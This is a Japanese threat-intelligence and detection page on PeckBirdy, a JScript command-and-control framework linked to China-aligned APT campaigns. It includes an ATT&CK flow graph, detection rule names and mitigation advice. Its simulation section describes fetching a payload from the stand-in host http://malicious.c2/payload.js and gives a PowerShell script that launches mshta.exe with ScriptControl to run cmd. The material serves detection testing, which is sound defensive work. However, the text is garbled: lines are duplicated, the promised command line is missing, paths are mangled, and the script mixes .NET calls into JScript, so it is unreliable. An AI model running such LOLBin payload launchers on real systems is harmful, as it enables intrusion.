PeckBirdy: 中国系脅威グループが使用するLOLbins利用のための多用途スクリプトフレームワーク
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
PeckBirdyは、JScriptベースのコマンドアンドコントロールフレームワークで、中国に関連するAPTアクターが「現場で活動する」バイナリを悪用し、HOLODONUTやMKDOORを含むモジュラーバックドアを展開するために利用しています。このフレームワークは、Webブラウザー、MSHTA、WScript、NodeJS、.NETなど、複数のランタイムで実行するように設計されており、WebSocket、Flash、Comet、HTTPなどのいくつかの転送オプションをサポートしています。このフレームワークは、オンラインギャンブルのリソース、アジア政府のウェブポータル、教育部門の組織を対象としたSHADOW-VOID-044およびSHADOW-EARTH-045として追跡されているキャンペーンで観察されています。
調査
研究者は、PeckBirdyローダーをダウンロードするために不正なスクリプトが挿入されたギャンブルサイトや政府ページを報告しました。このローダーは、続くペイロード、特にChromeのエクスプロイト(CVE-2020-16040)や追加のバックドアコンポーネントを取得しました。この活動は、HOLODONUTとMKDOORという2つのモジュラーインプラントに関連付けられ、以前に観察されたグループおよびインフラストラクチャのパターンに結びつけられました。この分析は、IPアドレス、ドメイン、盗まれたコード署名証明書の使用などのハッキングの指標もカタログ化しました。
軽減策
特定された悪意のあるドメインやIPアドレスをブロックし、MSHTA、WScript、NodeJS経由での非典型的なLOLBinの使用やスクリプト実行を監視します。作成を検出する unique_id %TEMP%内のファイルと厳格なコード署名証明書の検証を強制します。既知のCobalt StrikeペイロードやDonut生成の.NETアセンブリのカバレッジにより、さらなる露出を削減できます。
対応
検出された場合は、影響を受けたシステムを隔離し、注入されたスクリプトや生成されたバックドアバイナリを収集し、関連するC2インフラストラクチャをブロックします。横移動のために法医学的トリアージを実施し、観察されたコマンドラインアーティファクトおよびネットワークトラフィックパターンに対する検出ロジックを更新します。
“graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[“<b>技術</b> – <b>T1659 コンテンツインジェクション</b><br /><b>説明</b>: 侵害されたウェブページに悪意のあるスクリプトを注入し、追加のペイロードを配信する。”] class content_injection technique execution_mshta[“<b>技術</b> – <b>T1218.005 署名されたバイナリプロキシの実行: Mshta</b><br /><b>説明</b>: mshta.exeを使用して悪意のあるHTMLアプリケーションファイルを実行する。”] class execution_mshta technique execution_compiled_html[“<b>技術</b> – <b>T1218.001 署名されたバイナリプロキシの実行: コンパイルされたHTMLファイル</b><br /><b>説明</b>: コンパイルされたHTMLファイルを使用して悪意のあるJScriptペイロードを実行する。”] class execution_compiled_html technique victim_id_gen[“<b>プロセス</b> – 被害者識別子生成<br />ユニークな被害者IDを生成し、悪意のあるスクリプトをステージングする。”] class victim_id_gen process credential_steal_cookie[“<b>技術</b> – <b>T1539 ウェブセッションクッキーの盗難</b><br /><b>説明</b>: 被害者のブラウザセッションから認証クッキーを抽出する。”] class credential_steal_cookie technique alt_auth_material_cookie[“<b>技術</b> – <b>T1550.004 代替認証素材の使用: ウェブセッションクッキー</b><br /><b>説明</b>: 盗まれたセッションクッキーを再利用して被害者として認証する。”] class alt_auth_material_cookie technique defense_evasion_code_signing[“<b>技術</b> – <b>T1553.002 信頼制御の転覆: コード署名</b><br /><b>説明</b>: 偽造または誤署名のコードを使用して信頼検査を回避する。”] class defense_evasion_code_signing technique masquerading_invalid_sig[“<b>技術</b> – <b>T1036.001 偽装: 無効なコード署名</b><br /><b>説明</b>: 無効な署名を持つバイナリを提示して検出を回避する。”] class masquerading_invalid_sig technique reflective_code_loading[“<b>技術</b> – <b>T1620 リフレクティブコードローディング</b><br /><b>説明</b>: OSローダーを呼び出さずに直接コードをメモリにロードする。”] class reflective_code_loading technique process_injection[“<b>技術</b> – <b>T1055 プロセスインジェクション</b><br /><b>説明</b>: 実行中のプロセスに悪意のあるコードを注入して実行を隠蔽する。”] class process_injection technique impair_defenses[“<b>技術</b> – <b>T1562 防御障害</b><br /><b>説明</b>: セキュリティツールや設定を無効化または改ざんする。”] class impair_defenses technique execution_guardrails[“<b>技術</b> – <b>T1480 実行ガードレール</b><br /><b>説明</b>: 特定のターゲットまたは環境でのみ実行されるチェックを実装する。”] class execution_guardrails technique obfuscated_embedded_payload[“<b>技術</b> – <b>T1027.009 難読化されたファイルまたは情報: 埋め込まれたペイロード</b><br /><b>説明</b>: 正当なファイルまたはデータストリーム内に悪意のあるペイロードを隠す。”] class obfuscated_embedded_payload technique command_and_control_web[“<b>技術</b> – <b>T1102 ウェブサービス</b><br /><b>説明</b>: 標準のウェブサービスを使用してコマンド&コントロール通信を行う。”] class command_and_control_web technique encrypted_channel[“<b>技術</b> – <b>T1573 暗号化チャンネル</b><br /><b>説明</b>: C2トラフィックを暗号化してネットワーク検査を回避する。”] class encrypted_channel technique app_layer_web_protocols[“<b>技術</b> – <b>T1071.001 アプリケーション層プロトコル: ウェブプロトコル</b><br /><b>説明</b>: HTTP/HTTPSなどの一般的なウェブプロトコルを介して通信する。”] class app_layer_web_protocols technique data_encoding[“<b>技術</b> – <b>T1132 データエンコーディング</b><br /><b>説明</b>: データをエンコードして伝送中に検出を回避する。”] class data_encoding technique lateral_movement_exploit[“<b>技術</b> – <b>T1210 リモートサービスの脆弱性の悪用</b><br /><b>説明</b>: 脆弱なリモートサービスを悪用して側方移動を行う。”] class lateral_movement_exploit technique remote_vulnerability[“<b>プロセス</b> – CVEu20112020u201116040 Chromeの脆弱性の悪用”] class remote_vulnerability process rat_holodonut[“<b>マルウェア</b> – HOLODONUT<br />リモートアクセス用のカスタムバックドア”] class rat_holodonut malware rat_mkdoor[“<b>マルウェア</b> – MKDOOR<br />永続性を提供するセカンダリーバックドア”] class rat_mkdoor malware %% Operator Nodes op_and_exec((“AND”)) class op_and_exec operator %% Connections content_injection u002du002d>|配信する| execution_mshta content_injection u002du002d>|配信する| execution_compiled_html execution_mshta u002du002d>|起動する| victim_id_gen execution_compiled_html u002du002d>|起動する| victim_id_gen victim_id_gen u002du002d>|スクリプトをステージングする| credential_steal_cookie credential_steal_cookie u002du002d>|につながる| alt_auth_material_cookie credential_steal_cookie u002du002d>|を可能にする| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|に含まれる| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|に含まれる| reflective_code_loading defense_evasion_code_signing u002du002d>|に含まれる| process_injection defense_evasion_code_signing u002du002d>|に含まれる| impair_defenses defense_evasion_code_signing u002du002d>|に含まれる| execution_guardrails defense_evasion_code_signing u002du002d>|に含まれる| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|を可能にする| command_and_control_web command_and_control_web u002du002d>|使用する| encrypted_channel encrypted_channel u002du002d>|使用する| app_layer_web_protocols app_layer_web_protocols u002du002d>|使用する| data_encoding command_and_control_web u002du002d>|をサポートする| lateral_movement_exploit lateral_movement_exploit u002du002d>|経由で| remote_vulnerability lateral_movement_exploit u002du002d>|を展開する| rat_holodonut lateral_movement_exploit u002du002d>|を展開する| rat_mkdoor “
攻撃フロー
検出
LOLBAS WScript / CScript(プロセス作成による)
表示
疑わしい LOLBAS MSHTA 防御回避行為(プロセス作成による関連コマンドの検出)
表示
WMICを使用した疑わしいDefender除外の変更(cmdlineによる)
表示
検出するためのIOC(HashSha1):China-aligned院の脅威グループによるLOLBinsエクスプロイトのための多用途スクリプトフレームワークであるPeckBirdy
表示
検出するためのIOC(SourceIP):China-aligned脅威グループによるLOLBinsエクスプロイトのための多用途スクリプトフレームワークであるPeckBirdy
表示
検出するためのIOC(DestinationIP):China-aligned脅威グループによるLOLBinsエクスプロイトのための多用途スクリプトフレームワークであるPeckBirdy
表示
PeckBirdy実行のためのMSHTAとScriptControlの使用【Windowsプロセス作成】
表示
PeckBirdy不正スクリプト注入と資格情報収集の検出【Webサーバー】
表示
シミュレーション実行
前提条件:テレメトリとベースラインのプリフライトチェックに合格していること。
論理的基盤:このセクションは、検出ルールを発動させるために設計された敵の技術と手法(TTP)の正確な実行を詳述しています。コマンドと詳細な説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃のシナリオとコマンド:
攻撃者は、リモートコントロールチャネルを確立したいと考えており、 PeckBirdy スクリプトフレームワークを選びます。彼らはmshta.exeを選びます。ほとんどのアプリケーションのホワイトリストを回避できる署名されたWindowsバイナリだからです。ペイロードは、ActiveXScriptControlオブジェクトを埋め込み、C2サーバーから取得したJScriptコードを実行します。ステップは以下の通りです:- 悪意のあるJScriptペイロードをC2からダウンロード(例: http://malicious.c2/payload.js
http://malicious.c2/payload.js). - 次のステップは、インライン
mshta.exeURIでURIでインスタンスを生成し、ダウンロードしたスクリプトをロードし、実行します。ScriptControlJScriptコードはリバースTCPリスナーを確立し、初期アクセスを完了します。 - テレメトリを生成する正確なコマンドラインは以下の通りです:
このコマンドは、
このコマンドは、および文字列
mshta.exeを含んでおり、Sigma条件を満たします。ScriptControl回帰テストスクリプト: - 悪意のあるJScriptペイロードをC2からダウンロード(例: http://malicious.c2/payload.js
-
以下のスクリプトは、悪意のある
の呼び出しを自動化します。管理者アカウントの下でテストワークステーションで実行できます。の呼び出しを自動化します。管理者アカウントの下でテストワークステーションで実行できます。#————————————————- # PeckBirdy Execution via mshta + ScriptControl #————————————————- $c2Url = “http://malicious.c2/payload.js” $jsCode = @” var sc = new ActiveXObject(‘ScriptControl’); sc.Language = ‘JScript’; // シンプルなビーコン – 本物のペイロードに置き換える sc.AddCode(‘var s = new ActiveXObject(“WScript.Shell”); s.Run(“cmd /c echo Compromised > C:temppwned.txt”);’); “@ # JScriptペイロードをエンコードして改行問題を回避 $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = “javascript:var sc=new ActiveXObject(‘ScriptControl’);sc.Language=’JScript’;sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘$encoded’)));void(0)” Write-Host “[*] 悪意のあるmshtaを起動しています…” Start-Process -FilePath “mshta.exe” -ArgumentList $mshtaCmd -NoNewWindowクリーンアップコマンド: -
テストによって作成されたアーティファクト(例:一時ファイル)を削除します。
#————————————————- # PeckBirdyシミュレーション後のクリーンアップ #————————————————- Write-Host “[*] テストアーティファクトをクリーンアップしています…” Remove-Item -Path “C:temppwned.txt” -ErrorAction SilentlyContinue # テストで開始された残留mshtaプロセスを止める Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force攻撃フロー